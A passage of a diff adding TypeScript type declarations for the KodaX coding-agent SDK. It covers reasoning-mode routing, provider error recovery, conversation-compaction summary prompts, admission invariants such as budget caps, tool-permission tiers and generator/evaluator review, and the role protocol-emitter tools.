+ sessionErrorMetadata?: SessionErrorMetadata;
1776
+ additionalSignals?: string[];
1777
+ repoSignals?: KodaXRepoRoutingSignals;
1778
+ }
1779
+ /**
1780
+ * Resolve the **L1 user ceiling** for reasoning depth.
1781
+ *
1782
+ * In FEATURE_078 (v0.7.29) the semantics of `--reasoning <mode>` /
1783
+ * `options.reasoningMode` shifted from "all roles use this mode" to
1784
+ * "ceiling + bias for default": a hard upper bound on per-role depth
1785
+ * with the same value also serving as the suggested default when an
1786
+ * Agent declaration has no profile of its own.
1787
+ *
1788
+ * This function continues to return the user-supplied mode unchanged —
1789
+ * what changed is how downstream code consumes it. Direct callers that
1790
+ * still treat the return value as the final per-role depth will get
1791
+ * pre-FEATURE_078 behaviour (everything pinned to `userCeiling`); they
1792
+ * are migrated in this same patch to call `resolveRoleReasoning(...)`
1793
+ * instead, which honours the L1-L4 chain.
1794
+ */
1795
+ declare function resolveReasoningMode(options: KodaXOptions): KodaXReasoningMode;
1796
+ declare function reasoningModeToDepth(mode: KodaXReasoningMode): KodaXThinkingDepth;
1797
+ declare function inferTaskType(prompt: string): KodaXTaskType;
1798
+ declare function buildFallbackRoutingDecision(prompt: string, providerPolicy?: KodaXProviderPolicyDecision, routingEvidence?: RoutingEvidenceInput): KodaXTaskRoutingDecision;
1799
+ declare function buildProviderPolicyHintsForDecision(decision: KodaXTaskRoutingDecision): KodaXProviderPolicyHints;
1800
+ declare function buildAmaControllerDecision(decision: KodaXTaskRoutingDecision): KodaXAmaControllerDecision;
1801
+ declare function buildPromptOverlay(decision: KodaXTaskRoutingDecision, extraNotes?: string[], _providerPolicy?: KodaXProviderPolicyDecision, amaControllerDecision?: KodaXAmaControllerDecision): string;
1802
+ declare function createReasoningPlan(options: KodaXOptions, prompt: string, provider: KodaXBaseProvider, routingEvidence?: RoutingEvidenceInput): Promise<ReasoningPlan>;
1803
+
1804
+ /**
1805
+ * Promise-signal split for thinking-mode replay — CAP-039
1806
+ *
1807
+ * Capability inventory: docs/features/v0.7.29-capability-inventory.md#cap-039-promise-signal-split-for-thinking-mode-replay
1808
+ *
1809
+ * Recognises the convention used by managed-protocol harnesses (Scout,
1810
+ * Planner, Generator, Evaluator) to embed a single-line signal at the end
1811
+ * of an assistant turn — e.g. `[CONFIRMED H1_EXECUTE_EVAL]` — that downstream
1812
+ * lifecycle code (scout-signals.ts, evaluator gating, etc.) inspects to
1813
+ * decide whether to advance the harness state.
1814
+ *
1815
+ * Returns `[signal, residual]` where:
1816
+ * - `signal` — uppercased tag (e.g. `CONFIRMED`) or `''` when absent
1817
+ * - `residual` — the second capture group from `PROMISE_PATTERN`, used
1818
+ * by callers that want the post-signal explanatory text
1819
+ *
1820
+ * The pattern is owned by `constants.ts` so any future tweak to the
1821
+ * grammar happens in one place.
1822
+ *
1823
+ * Migration history: extracted from `agent.ts:763-767` (pre-FEATURE_100 baseline)
1824
+ * during FEATURE_100 P2.
1825
+ */
1826
+ declare function checkPromiseSignal(text: string): [string, string];
1827
+
1828
+ /**
1829
+ * KodaX Resilience Config (Feature 045)
1830
+ *
1831
+ * Resolves effective resilience configuration by merging
1832
+ * defaults, global config, and per-provider overrides.
1833
+ */
1834
+
1835
+ /**
1836
+ * Default resilience configuration values.
1837
+ * These are used when no explicit config is provided.
1838
+ */
1839
+ declare const DEFAULT_RESILIENCE_CONFIG: Required<ProviderResilienceConfig>;
1840
+ /**
1841
+ * Resolves the effective resilience configuration for a given provider.
1842
+ *
1843
+ * Merge order (later wins):
1844
+ * 1. Built-in defaults
1845
+ * 2. Global config (from KodaXOptions or config file)
1846
+ * 3. Per-provider policy override (exact provider name match)
1847
+ *
1848
+ * @param providerName - The provider to resolve config for
1849
+ * @param globalConfig - Optional global override
1850
+ * @param perProvider - Optional per-provider policy list
1851
+ * @returns Fully resolved config with all fields populated
1852
+ */
1853
+ declare function resolveResilienceConfig(providerName: string, globalConfig?: ProviderResilienceConfig, perProvider?: ProviderResiliencePolicy[]): Required<ProviderResilienceConfig>;
1854
+
1855
+ /**
1856
+ * KodaX Resilience Error Classifier (Feature 045)
1857
+ *
1858
+ * Upgrades the basic error-classification.ts with fine-grained
1859
+ * error classes and failure stage detection for the recovery ladder.
1860
+ *
1861
+ * The original classifyError() is preserved for backward compatibility.
1862
+ * This module provides classifyResilienceError() with richer semantics.
1863
+ */
1864
+
1865
+ /**
1866
+ * Classifies an error for the resilience system.
1867
+ *
1868
+ * Returns a ResilienceClassification with:
1869
+ * - errorClass: Fine-grained error category
1870
+ * - failureStage: When in the request lifecycle the error occurred
1871
+ * - retryable: Whether automatic retry is appropriate
1872
+ * - maxRetries: Maximum retry attempts
1873
+ * - baseRetryDelay: Base delay between retries (ms)
1874
+ *
1875
+ * @param error - The error to classify
1876
+ * @param currentStage - The current failure stage context (if known)
1877
+ */
1878
+ declare function classifyResilienceError(error: Error, currentStage?: FailureStage): ResilienceClassification;
1879
+
1880
+ /**
1881
+ * KodaX Stable Boundary Tracker (Feature 045)
1882
+ *
1883
+ * Tracks the "stable boundary" during provider streaming — the point
1884
+ * up to which all content is fully committed and can be safely recovered to.
1885
+ *
1886
+ * Stable boundary = index after the last fully committed assistant message
1887
+ * or tool result. Content beyond this point (live streaming text, incomplete
1888
+ * tool call JSON) is considered unstable and will be discarded on recovery.
1889
+ */
1890
+
1891
+ declare class StableBoundaryTracker {
1892
+ private state;
1893
+ private hasReceivedFirstDelta;
1894
+ private currentToolInputId;
1895
+ constructor();
1896
+ /**
1897
+ * Called before each provider request attempt.
1898
+ * Resets streaming state but preserves stable boundary position.
1899
+ */
1900
+ beginRequest(provider: string, model: string, messages: KodaXMessage[], attempt?: number, fallbackUsed?: boolean): void;
1901
+ /**
1902
+ * Called when the first stream delta is received.
1903
+ * Updates the failure stage from "before_first_delta" to "mid_stream_*".
1904
+ */
1905
+ markFirstDelta(): void;
1906
+ /**
1907
+ * Called when text delta is received.
1908
+ * Tracks the amount of live (unstable) text.
1909
+ */
1910
+ markTextDelta(text: string): void;
1911
+ /**
1912
+ * Called when thinking delta is received.
1913
+ */
1914
+ markThinkingDelta(text: string): void;
1915
+ /**
1916
+ * Called when tool input streaming starts.
1917
+ * Adds the tool call to the pending list.
1918
+ */
1919
+ markToolInputStart(toolCallId: string): void;
1920
+ /**
1921
+ * Called when a tool has been successfully executed.
1922
+ * Moves the tool from pending to executed and advances the stable boundary.
1923
+ */
1924
+ markToolExecuted(toolCallId: string): void;
1925
+ /**
1926
+ * Called when the assistant message is complete (stream ended normally).
1927
+ * This advances the stable boundary past the current assistant message.
1928
+ */
1929
+ markAssistantComplete(messages: KodaXMessage[]): void;
1930
+ /**
1931
+ * Returns the current failure stage based on tracker state.
1932
+ */
1933
+ inferFailureStage(): FailureStage;
1934
+ /**
1935
+ * Returns a read-only snapshot of the current execution state.
1936
+ */
1937
+ snapshot(): Readonly<ProviderExecutionState>;
1938
+ /**
1939
+ * Whether any delta has been received in the current request.
1940
+ */
1941
+ get hasReceivedDelta(): boolean;
1942
+ /**
1943
+ * Recovers to the last stable boundary.
1944
+ *
1945
+ * Reconstructs the message list from the stable boundary forward,
1946
+ * preserving executed tool results and discarding unstable content.
1947
+ *
1948
+ * @param messages - The current (possibly corrupted) message list
1949
+ * @returns Recovery info with reconstructed messages and metadata
1950
+ */
1951
+ recoverToStableBoundary(messages: KodaXMessage[]): {
1952
+ messages: KodaXMessage[];
1953
+ droppedToolCallIds: string[];
1954
+ executedToolCallIds: string[];
1955
+ };
1956
+ /**
1957
+ * Resets the tracker to initial state for a new conversation.
1958
+ */
1959
+ reset(): void;
1960
+ private createInitialState;
1961
+ }
1962
+
1963
+ /**
1964
+ * KodaX Recovery Coordinator (Feature 045)
1965
+ *
1966
+ * Orchestrates the 4-step recovery ladder:
1967
+ * 1. Fresh connection retry — retry with same messages (pre-delta failures)
1968
+ * 2. Stable boundary retry — reconstruct from stable boundary (mid-stream failures)
1969
+ * 3. Non-streaming fallback — switch to non-streaming mode
1970
+ * 4. Manual continue — stop and ask user for intervention
1971
+ */
1972
+
1973
+ declare class ProviderRecoveryCoordinator {
1974
+ private readonly boundaryTracker;
1975
+ private readonly config;
1976
+ private nonStreamingFallbackUsed;
1977
+ private thinkingSanitizationUsed;
1978
+ constructor(boundaryTracker: StableBoundaryTracker, config: ProviderResilienceConfig);
1979
+ /**
1980
+ * Determines the recovery action for a given failure.
1981
+ *
1982
+ * The recovery ladder selects the mildest appropriate action:
1983
+ * - Step 1 (fresh_connection_retry): For pre-delta failures
1984
+ * - Step 2 (stable_boundary_retry): For mid-stream failures
1985
+ * - Step 3 (non_streaming_fallback): For repeated streaming failures
1986
+ * - Step 4 (manual_continue): When all retries are exhausted
1987
+ */
1988
+ decideRecoveryAction(error: Error, classified: ResilienceClassification, attempt: number): RecoveryDecision;
1989
+ /**
1990
+ * Executes a recovery decision by reconstructing messages
1991
+ * from the stable boundary.
1992
+ *
1993
+ * @param messages - The current message list
1994
+ * @param decision - The recovery decision to execute
1995
+ * @returns Recovery result with reconstructed messages
1996
+ */
1997
+ executeRecovery(messages: KodaXMessage[], decision: RecoveryDecision): RecoveryResult;
1998
+ private selectRecoveryStrategy;
1999
+ private executeFreshConnectionRetry;
2000
+ private executeStableBoundaryRetry;
2001
+ private executeNonStreamingFallback;
2002
+ private executeManualContinue;
2003
+ private executeSanitizeThinking;
2004
+ /**
2005
+ * Resets the coordinator for a new request chain.
2006
+ */
2007
+ reset(): void;
2008
+ }
2009
+
2010
+ /**
2011
+ * KodaX Tool Guard (Feature 045)
2012
+ *
2013
+ * Prevents tool side-effect replay during provider recovery.
2014
+ * When recovering to a stable boundary, executed tool results must be
2015
+ * preserved and incomplete tool calls must be dropped.
2016
+ *
2017
+ * This module provides the message reconstruction logic that ensures:
2018
+ * 1. Executed tool results are preserved in the reconstructed messages
2019
+ * 2. Dropped tool calls are cleaned up (removed from pending)
2020
+ * 3. A continuation hint is appended so the model knows to continue
2021
+ * from where it left off
2022
+ */
2023
+
2024
+ /**
2025
+ * Reconstructs messages after a recovery, ensuring executed tool results
2026
+ * are preserved and dropped tool calls are cleaned up.
2027
+ *
2028
+ * @param stableMessages - Messages up to the stable boundary
2029
+ * @param executedToolCallIds - Tool calls that have been executed (preserve results)
2030
+ * @param droppedToolCallIds - Tool calls that were in progress (drop them)
2031
+ * @returns Reconstructed message list
2032
+ */
2033
+ declare function reconstructMessagesWithToolGuard(stableMessages: KodaXMessage[], executedToolCallIds: string[], droppedToolCallIds: string[]): KodaXMessage[];
2034
+
2035
+ /**
2036
+ * KodaX Agent — public SDK entry post-FEATURE_100 P3.6r/P3.6s.
2037
+ *
2038
+ * `runKodaX(opts, prompt)` is the stable SDK signature; internally it
2039
+ * delegates to `Runner.run(createDefaultCodingAgent(), …)` so SA
2040
+ * execution always flows through the Layer-A frame (Option Y deletion
2041
+ * per ADR-020 / v0.7.29 §239 §371). Substrate body lives in
2042
+ * `agent-runtime/run-substrate.ts` (`runSubstrate`) and is wired via
2043
+ * the `Agent.substrateExecutor` closure attached in `coding-preset.ts`.
2044
+ */
2045
+
2046
+ declare function runKodaX(options: KodaXOptions, prompt: string): Promise<KodaXResult>;
2047
+
2048
+ /**
2049
+ * v0.7.35.1 FEATURE_142 (B-R1) — Coding-flavored compaction summary prompts.
2050
+ *
2051
+ * These are the verbatim v0.7.35 compaction prompts (byte-identical to
2052
+ * the prior `SUMMARY_PROMPT` / `UPDATE_SUMMARY_PROMPT` constants in
2053
+ * `@kodax-ai/session-lineage/src/compaction/summary-generator.ts`). They
2054
+ * remain the empirically best-performing prompts on the coding domain
2055
+ * (96.7% recall on the 10-fixture eval; see
2056
+ * `tests/compaction-prompt.eval.ts`) AND happen to also be the best on
2057
+ * the non-coding domain (97.0% recall) in the same eval — the wording
2058
+ * is coding-flavored but the structure generalizes.
2059
+ *
2060
+ * Why they live here: per ADR-021, @kodax-ai/session-lineage is the
2061
+ * generic compaction primitive package and must not enumerate
2062
+ * coding-specific language ("coding agent", "file paths, function
2063
+ * names", "HTTP status codes", "## Files & Changes") in its public
2064
+ * prompt strings. Those strings now live in the @kodax-ai/coding layer
2065
+ * and are passed downward via the `summaryPrompt` /
2066
+ * `updateSummaryPrompt` parameters of `compact()` /
2067
+ * `buildCompactionPromptSnapshot()` / `generateSummary()`.
2068
+ *
2069
+ * Coding-flow callers (currently `compaction-orchestration.ts` and
2070
+ * `repl/.../commands.ts`) pass these constants explicitly so the
2071
+ * coding path produces a byte-equivalent prompt to v0.7.35 — preserving
2072
+ * the empirically validated 96.7% recall.
2073
+ *
2074
+ * Generic / non-coding consumers of @kodax-ai/session-lineage get the
2075
+ * neutral `DEFAULT_SUMMARY_PROMPT` / `DEFAULT_UPDATE_SUMMARY_PROMPT`
2076
+ * (the candidate-a-conservative eval winner) by default — they pay a
2077
+ * 2-3pt non-coding recall cost for not knowing they should pass these
2078
+ * coding-flavored prompts, but their architectural surface stays clean.
2079
+ */
2080
+ declare const CODING_SUMMARY_PROMPT = "Create a structured summary for the conversation below.\n\nThis summary will be handed to another coding agent so it can continue the same task with minimal context.\nKeep only information that is still useful for continuing the work.\n\nYou may drop:\n- completed low-value micro-steps\n- repetitive thinking\n- stale intermediate plans\n- verbose tool output details\n\nYou must keep:\n- the current goal\n- user constraints and preferences\n- current progress and unfinished work\n- blockers or unresolved questions\n- the most important next steps\n- EXACT file paths, function names, and line numbers referenced\n- EXACT error messages, HTTP status codes, and exception types\n- API endpoints, database tables, env vars, and config values mentioned\n- key decisions WITH reasoning (not just the choice)\n\nCRITICAL: Every user REQUEST and DECISION must be preserved verbatim or near-verbatim.\nNever reduce \"user asked to fix the 401 error on /api/auth/login by switching to JWT\"\nto \"user asked to fix an error\".\n\nKeep the summary concise and high-signal. Do not mechanically preserve every historical detail.\n\nFirst, wrap your analysis in <analysis> tags:\n- Walk through messages chronologically\n- Note exact file paths, function names, error codes, config values\n- Identify user's explicit requests vs inferred intent\n- Flag technical details that MUST survive compression\n\nThen output the structured summary in <summary> tags.\n\nOutput format (strict markdown, inside <summary> tags):\n\n## Goal\n[1-2 sentences describing the active goal]\n\n## Constraints & Preferences\n- [One item per line]\n- [Write \"None\" if there are no explicit constraints]\n\n## Progress\n### Completed\n- [x] [Completed work that still matters for context]\n\n### In Progress\n- [ ] [Current work that is actively underway]\n\n### Blockers\n- [Current blockers, or \"None\"]\n\n## Key Decisions\n- **[Decision]**: [Short reason]\n\n## Next Steps\n1. [Highest-priority next action]\n\n## Key Context\n- [Critical context needed to continue]\n\n## Files & Changes\n- **[exact path]**: [what was done and why]\n\n---\n\n<read-files>\n[One path per line, leave empty if none]\n</read-files>\n\n<modified-files>\n[One path per line, leave empty if none]\n</modified-files>\n\nConversation:\n";
2081
+ declare const CODING_UPDATE_SUMMARY_PROMPT = "Merge the new conversation content above into <previous-summary>.\n\nUpdate the structured summary so another coding agent can continue the task immediately.\nKeep only the information needed to continue the work.\n\nYou may remove:\n- repetitive or superseded plans\n- completed low-value steps\n- outdated blockers\n- noisy tool output details\n\nYou must preserve or update:\n- the current goal\n- user constraints and preferences\n- current progress and unfinished work\n- blockers that still matter\n- next steps based on the latest state\n- EXACT file paths, function names, and line numbers\n- EXACT error messages, HTTP status codes, and exception types\n- API endpoints, database tables, env vars, and config values\n- key decisions WITH reasoning\n\nCRITICAL: Every user REQUEST and DECISION must be preserved verbatim or near-verbatim.\n\nDo not accumulate every past detail. Compress aggressively while keeping continuation-critical context.\n\nFirst, wrap your analysis in <analysis> tags, then output the summary in <summary> tags.\n\nOutput format (strict markdown, inside <summary> tags):\n\n## Goal\n[Updated goal]\n\n## Constraints & Preferences\n- [Relevant constraints only]\n\n## Progress\n### Completed\n- [x] [Completed work that still matters]\n\n### In Progress\n- [ ] [Active work in the latest state]\n\n### Blockers\n- [Current blockers, or \"None\"]\n\n## Key Decisions\n- **[Decision]**: [Short reason]\n\n## Next Steps\n1. [Most relevant next action]\n\n## Key Context\n- [Critical context needed to continue]\n\n## Files & Changes\n- **[exact path]**: [what was done and why]\n\n---\n\n<read-files>\n[One path per line, leave empty if none]\n</read-files>\n\n<modified-files>\n[One path per line, leave empty if none]\n</modified-files>\n\nKeep every section concise.";
2082
+
2083
+ /**
2084
+ * FEATURE_101 invariant: `boundedRevise`.
2085
+ *
2086
+ * Observe-time check: warns when the per-harness revise count climbs
2087
+ * past the system soft cap. The hard cap is enforced by the budget
2088
+ * controller in `task-engine/_internal/managed-task/budget.ts`; this
2089
+ * invariant adds an admission-trace breadcrumb so dispatch-eval can
2090
+ * track "how often does the LLM hit the revise wall".
2091
+ *
2092
+ * v1 threshold = `MANAGED_TASK_MAX_REFINEMENT_ROUND_CAP + 1 = 3`
2093
+ * (one starter + two refinements). Crossing it doesn't abort the run —
2094
+ * the runtime keeps clamping at the hard cap — but it lights a warn
2095
+ * signal. The threshold is intentionally hardcoded here rather than
2096
+ * imported from `task-engine` constants: that constants module is
2097
+ * private to the task-engine, and admission is a separate concern.
2098
+ * Drift (e.g. the runtime cap changes to 4) means the warn signal
2099
+ * lights one round earlier than the hard cap, which is the desired
2100
+ * direction for a soft signal.
2101
+ *
2102
+ * No admit hook in v1 — and that stays true in v0.7.31.2 even though
2103
+ * the surrounding plumbing now supports it. v0.7.31.2 added
2104
+ * `AgentManifest.maxIterations` (admission.ts) plus the
2105
+ * `applyManifestPatch` apply branch for `clampMaxIterations`, and
2106
+ * `Runner.run` reads the post-clamp manifest cap via
2107
+ * `getAdmittedAgentBindings`. What's still missing is an admit-time
2108
+ * SOURCE: no v1 invariant inspects manifest content and emits a
2109
+ * `clampMaxIterations` patch. So the field exists, the apply path
2110
+ * exists, and the runtime enforcement exists — but `boundedRevise`
2111
+ * itself stays observe-only by design (its v1 contract is the
2112
+ * runtime soft warn, not admit-time clamping). A future version may
2113
+ * promote this invariant to admit+observe once we have a concrete
2114
+ * policy ("manifests declaring revise-heavy roles get clamped to N
2115
+ * iterations"). admission.ts §第一版 Invariant 清单 "boundedRevise:
2116
+ * maxIterations ≤ system; runtime tracks revise count" is satisfied
2117
+ * by the runtime budget controller (the hard cap) plus this
2118
+ * observe-time soft warn.
2119
+ */
2120
+
2121
+ declare const boundedRevise: QualityInvariant;
2122
+
2123
+ /**
2124
+ * FEATURE_101 invariant: `budgetCeiling`.
2125
+ *
2126
+ * Admit-time check: manifest.maxBudget must not exceed systemCap.maxBudget.
2127
+ * If it does, clamp via a `clampMaxBudget` patch — the manifest is
2128
+ * admitted with the lower value.
2129
+ *
2130
+ * Why this lives in @kodax-ai/coding (not @kodax-ai/core): the system budget
2131
+ * baseline is `DEFAULT_MANAGED_WORK_BUDGET = 200` declared in the coding
2132
+ * task-engine constants. Admission's job is to express the same policy
2133
+ * declaratively at the manifest layer; the actual runtime budget
2134
+ * controller in `task-engine/_internal/managed-task/budget.ts` enforces
2135
+ * iteration deductions per turn. This invariant adds the up-front
2136
+ * "your declared budget is over the cap" feedback to LLM-generated
2137
+ * manifests so they don't request 100k iterations and discover at
2138
+ * runtime that they get 200.
2139
+ *
2140
+ * v1 only handles maxBudget; clampMaxIterations is the `boundedRevise`
2141
+ * invariant's territory (separate-concern). Pure function.
2142
+ */
2143
+
2144
+ declare const budgetCeiling: QualityInvariant;
2145
+
2146
+ /**
2147
+ * FEATURE_101 invariant: `independentReview`.
2148
+ *
2149
+ * Verifier-binding invariant: when a manifest's role topology includes
2150
+ * a Generator (mutation-producing) role, an Evaluator must also be
2151
+ * reachable so the generator's output is independently verified. v1
2152
+ * uses agent name conventions (`generator` / `evaluator`) — the
2153
+ * canonical role names declared by `@kodax-ai/core/task-engine-agents.ts`.
2154
+ *
2155
+ * Hooks:
2156
+ * - admit: walk the reachable handoff graph from the manifest. If
2157
+ * any node has name === 'generator', some node must also have name
2158
+ * === 'evaluator'. Single-role manifests (scout / planner / direct
2159
+ * execution) admit unconditionally.
2160
+ * - assertTerminal: if the deliverable recorded mutations, it must
2161
+ * carry a `verdict` field (the evaluator's accept/revise/blocked
2162
+ * emission). A mutating run with no verdict means the generator
2163
+ * bypassed verification — reject.
2164
+ *
2165
+ * The verifier-can't-read-generator-reasoning contract from
2166
+ * FEATURE_101 §verifier separation lives at the message-routing layer
2167
+ * (handoff inputFilter); admission's job here is to ensure the role
2168
+ * pairing exists, not to police the message flow.
2169
+ */
2170
+
2171
+ declare const independentReview: QualityInvariant;
2172
+
2173
+ /**
2174
+ * FEATURE_101 invariant: `toolPermission`.
2175
+ *
2176
+ * Admit-time check: every tool the manifest declares must resolve to a
2177
+ * `ToolCapability` tier that systemCap.allowedToolCapabilities permits.
2178
+ * Tools whose tier is not allowed get clamped via `removeTools`.
2179
+ *
2180
+ * Tier mapping mirrors FEATURE_092's auto-mode classifier (v0.7.33) and
2181
+ * FEATURE_094's anti-escape policy (v0.7.36): the same coarse categories
2182
+ * the runtime guardrails reason about. Unknown tools (custom MCP tools,
2183
+ * extensions) default to 'subagent' — the most restrictive bucket — so
2184
+ * deployments that haven't allow-listed `subagent` capability will see
2185
+ * unknown tools clamped, which is the safe default.
2186
+ *
2187
+ * Pure function. The mapping is intentionally a flat switch instead of
2188
+ * a registry lookup: keeps the invariant pure and self-contained, and
2189
+ * the canonical tools list barely changes between releases.
2190
+ */
2191
+
2192
+ /**
2193
+ * Resolve a tool name to its capability tier. The mapping reflects the
2194
+ * canonical KodaX tool surface (see `coding/src/tools/registry.ts`).
2195
+ * Unknown names fall through to `'subagent'` — the strictest tier — so
2196
+ * the default behaviour for unaudited tools is to require explicit
2197
+ * allow-list approval.
2198
+ */
2199
+ declare function resolveToolCapability(toolName: string): ToolCapability;
2200
+ declare const toolPermission: QualityInvariant;
2201
+
2202
+ /**
2203
+ * Capability-coupled + coding-AMA-specific invariants registered by
2204
+ * @kodax-ai/coding.
2205
+ *
2206
+ * Pairs with `@kodax-ai/agent`'s pure-new invariants (`finalOwner`,
2207
+ * `handoffLegality`, `evidenceTrail`). Together they form the FEATURE_101
2208
+ * admission v1 closed set + FEATURE_106 external.
2209
+ *
2210
+ * Why this split:
2211
+ *
2212
+ * - Three pure invariants (finalOwner, handoffLegality, evidenceTrail)
2213
+ * are pure functions of admission types and live in @kodax-ai/agent.
2214
+ * - Four coupled invariants (budgetCeiling, toolPermission,
2215
+ * boundedRevise, independentReview) tie into @kodax-ai/coding's budget
2216
+ * controller / tool registry / revise tracker / role conventions and
2217
+ * live here.
2218
+ * - `harnessSelectionTiming` (FEATURE_106 external) reads coding's AMA
2219
+ * `ctx.recorder.scout.payload.scout.confirmedHarness` and lives here
2220
+ * too (v0.7.35.1 FEATURE_142 A-R2 moved it from @kodax-ai/agent per
2221
+ * ADR-021 — agent admission framework must not enumerate coding-AMA
2222
+ * field names).
2223
+ *
2224
+ * `registerCodingInvariants()` is the canonical bootstrap entry point
2225
+ * — call it once at SDK startup (or in test setup paired with
2226
+ * `_resetInvariantRegistry()`). The function also calls
2227
+ * `registerCoreInvariants()` so a single call wires the full v1 set +
2228
+ * harnessSelectionTiming.
2229
+ */
2230
+
2231
+ /**
2232
+ * Coding-package-supplied invariants in registration order.
2233
+ * v0.7.35.1 FEATURE_142 (A-R2): added `harnessSelectionTiming` (moved
2234
+ * from @kodax-ai/agent's pure-invariant set).
2235
+ *
2236
+ * v0.7.36 FEATURE_114: added `planBeforeMutate` — V2 plan-first
2237
+ * structural observation. Registers alongside `harnessSelectionTiming`
2238
+ * (not as a replacement); the two coexist because V1 runs gate on the
2239
+ * Scout-emitted harness verdict while V2 runs gate on Worker
2240
+ * `todo_update`. Each predicate no-ops when its expected fields are
2241
+ * absent, so ship-side flag toggle (KODAX_HARNESS_V2) does not need a
2242
+ * separate registry.
2243
+ */
2244
+ declare const CODING_INVARIANTS: readonly QualityInvariant[];
2245
+ /**
2246
+ * Register the @kodax-ai/coding capability-coupled + coding-AMA-specific
2247
+ * invariants AND the @kodax-ai/agent pure-new invariants. Single bootstrap
2248
+ * call covers the FEATURE_101 admission v1 closed set + FEATURE_106's
2249
+ * external `harnessSelectionTiming`.
2250
+ *
2251
+ * Order matters: agent first (so the closed-set ids appear in
2252
+ * registration order before the coding additions), then coding.
2253
+ * Tests that need a specific subset should `_resetInvariantRegistry()`
2254
+ * and register only what they need.
2255
+ */
2256
+ declare function registerCodingInvariants(): void;
2257
+
2258
+ /**
2259
+ * KodaX Client
2260
+ *
2261
+ * 高级模式 - 提供面向对象的 Agent 客户端
2262
+ */
2263
+
2264
+ declare class KodaXClient {
2265
+ private options;
2266
+ private sessionId;
2267
+ private messages;
2268
+ private contextTokenSnapshot;
2269
+ constructor(options: KodaXOptions);
2270
+ send(prompt: string): Promise<KodaXResult>;
2271
+ getSessionId(): string;
2272
+ getMessages(): KodaXMessage[];
2273
+ clear(): void;
2274
+ }
2275
+
2276
+ declare function createFanoutSchedulerInput(controllerDecision: KodaXAmaControllerDecision, bundles: KodaXChildContextBundle[], reductionContract: KodaXParentReductionContract): KodaXFanoutSchedulerInput | undefined;
2277
+ declare function buildFanoutSchedulerPlan(input: KodaXFanoutSchedulerInput): KodaXFanoutSchedulerPlan;
2278
+ declare function getFanoutBranch(plan: KodaXFanoutSchedulerPlan, bundleId: string): KodaXFanoutBranchRecord;
2279
+ declare function countActiveFanoutBranches(plan: KodaXFanoutSchedulerPlan): number;
2280
+ declare function applyFanoutBranchTransition(plan: KodaXFanoutSchedulerPlan, transition: KodaXFanoutBranchTransition): KodaXFanoutSchedulerPlan;
2281
+ declare function assignFanoutBranchWorker(plan: KodaXFanoutSchedulerPlan, bundleId: string, workerId: string): KodaXFanoutSchedulerPlan;
2282
+ declare function markFanoutBranchCompleted(plan: KodaXFanoutSchedulerPlan, bundleId: string, childId?: string): KodaXFanoutSchedulerPlan;
2283
+ declare function markFanoutBranchCancelled(plan: KodaXFanoutSchedulerPlan, bundleId: string, reason: string): KodaXFanoutSchedulerPlan;
2284
+
2285
+ /**
2286
+ * Protocol emitter tools — FEATURE_084 Shard 2 (v0.7.26).
2287
+ *
2288
+ * Four role-specific `RunnableTool`s that replace the fenced-block text
2289
+ * protocol used by Scout / Planner / Generator / Evaluator today. Each tool
2290
+ * accepts a structured JSON payload, normalizes it via
2291
+ * `coerceManagedProtocolToolPayload` (the same normalizer the old fenced-block
2292
+ * parser uses), and surfaces the normalized payload on the tool result
2293
+ * `metadata.payload` field so the new Runner-driven task engine
2294
+ * (FEATURE_084 Shard 5) can make routing decisions without text parsing.
2295
+ *
2296
+ * **Data-only at this shard**: nothing consumes these tools yet. The SA
2297
+ * preset path and the existing managed-task engine continue to use the
2298
+ * legacy `emit_managed_protocol` tool + fenced-block fallback unchanged.
2299
+ *
2300
+ * **Payload parity contract**: a given JSON input MUST produce an identical
2301
+ * normalized payload to what the legacy fenced-block parser would produce
2302
+ * for the same JSON. This is enforced by sharing
2303
+ * `coerceManagedProtocolToolPayload` between both paths.
2304
+ */
2305
+
2306
+ /** Public tool name — LLM sees this on the tool list. */
2307
+ declare const EMIT_SCOUT_VERDICT_TOOL_NAME = "emit_scout_verdict";
2308
+ declare const EMIT_CONTRACT_TOOL_NAME = "emit_contract";
2309
+ declare const EMIT_HANDOFF_TOOL_NAME = "emit_handoff";
2310
+ declare const EMIT_VERDICT_TOOL_NAME = "emit_verdict";
2311
+ /**
2312
+ * Shared metadata shape on the tool result. The Runner-driven task engine
2313
+ * (Shard 5) inspects `payload` to understand verdicts and
2314
+ * `handoffTarget` to execute the next role transition.
2315
+ */
2316
+ interface ProtocolEmitterMetadata {
2317
+ /** The role that emitted this payload — always matches the tool's role. */
2318
+ readonly role: 'scout' | 'planner' | 'generator' | 'evaluator';
2319
+ /** Normalized payload slice (scout / contract / handoff / verdict). */
2320
+ readonly payload: Partial<KodaXManagedProtocolPayload>;
2321
+ /**
2322
+ * FEATURE_084 Shard 4 handoff signal. When set, the Runner looks up the
2323
+ * handoff in `currentAgent.handoffs` and transfers ownership. When
2324
+ * undefined, the current agent remains responsible (terminal / direct
2325
+ * case). See each emitter's body for the payload → target mapping.
2326
+ */
2327
+ readonly handoffTarget?: string;
2328
+ /**
2329
+ * True when the payload denotes a terminal outcome (H0 direct, accept,
2330
+ * blocked). The Runner uses this as a signal that no further LLM turn is
2331
+ * expected after the current one.
2332
+ */
2333
+ readonly isTerminal?: boolean;
2334
+ }
2335
+ /**
2336
+ * Scout verdict emitter. Reports the outcome of scope analysis and the
2337
+ * chosen harness tier. The Runner-driven task engine reads
2338
+ * `metadata.payload.scout.confirmedHarness` to decide whether to hand off
2339
+ * to Generator (H1) or Planner (H2), or to finish directly (H0).
2340
+ */
2341
+ declare const emitScoutVerdict: RunnableTool;
2342
+ /**
2343
+ * Planner contract emitter (H2 only). Produces the execution contract the
2344
+ * Generator consumes: success criteria, required evidence, constraints.
2345
+ */
2346
+ declare const emitContract: RunnableTool;
2347
+ /**
2348
+ * Generator handoff emitter. Signals that the Generator has finished its
2349
+ * execution round and hands off to the Evaluator for verification.
2350
+ */
2351
+ declare const emitHandoff: RunnableTool;
2352
+ /**
2353
+ * Evaluator verdict emitter. Decides the terminal outcome of the round:
2354
+ * accept, revise (retry with same harness), or blocked. The Runner-driven
2355
+ * engine reads `metadata.payload.verdict.status` to decide next hop.
2356
+ */
2357
+ declare const emitVerdict: RunnableTool;
2358
+ /** All four emitter tools, exposed as a tuple for iteration. */
2359
+ declare const PROTOCOL_EMITTER_TOOLS: readonly RunnableTool[];
2360
+
2361
+ declare function runManagedTask(options: KodaXOptions, prompt: string): Promise<KodaXResult>;
2362
+
2363
+ interface RuntimeDefaultsSnapshot {
2364
+ activeTools?: string[];
2365
+ modelSelection: ExtensionModelSelection;
2366
+ thinkingLevel?: KodaXReasoningMode;
2367
+ }
2368
+ interface BoundExtensionRuntimeController {
